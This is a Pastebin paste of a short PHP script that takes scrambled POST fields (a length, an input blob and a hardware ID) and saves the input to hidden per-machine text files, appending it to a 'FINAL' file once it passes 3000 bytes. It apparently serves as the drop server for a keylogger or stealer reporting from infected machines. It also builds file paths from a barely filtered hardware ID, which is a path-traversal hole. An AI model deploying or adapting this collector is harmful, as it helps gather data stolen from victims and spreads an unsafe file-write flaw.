Advertisement
Guest User

Untitled

a guest
May 27th, 2015
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.78 KB | None | 0 0
  1. <?php
  2.     ini_set ('display_errors' , 1);
  3.     error_reporting(E_ALL);
  4.  
  5.  
  6.     $lee = $_POST['lekapekeU'];
  7.     $Input = str_replace('\0', '', $_POST['maMpwiru']);
  8.     $Input = str_replace(chr(26), '', $Input);
  9.     $pat = '#\(([^a-zA-Z\d]+)\)#';
  10.     $HwID = preg_replace($pat, '', $_POST['hwoIpkeu']);
  11.     //file_put_contents($fi,'['. date('Y-m-d H:i:s'). ']' .$Acc . "\n\0". $Input . "\0\n\n");
  12.  
  13.     if(empty($lee) || empty($Input) || empty($HwID))
  14.         return;
  15.  
  16.     $fi = 'kpekDme/.' . $HwID . '.txt';
  17.     if(!file_exists($fi)) {
  18.         file_put_contents($fi, $Input);
  19.     }
  20.  
  21.     if(file_exists($fi) && $lee > filesize($fi)) {
  22.         if($lee >= 3000) {
  23.             $fina = 'kpekDme/.' . $HwID . 'FINAL.txt';
  24.             file_put_contents($fina, $Input, FILE_APPEND);
  25.             unlink($fi);
  26.         }
  27.     } else {
  28.         file_put_contents($fi, $Input);
  29.     }
  30. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement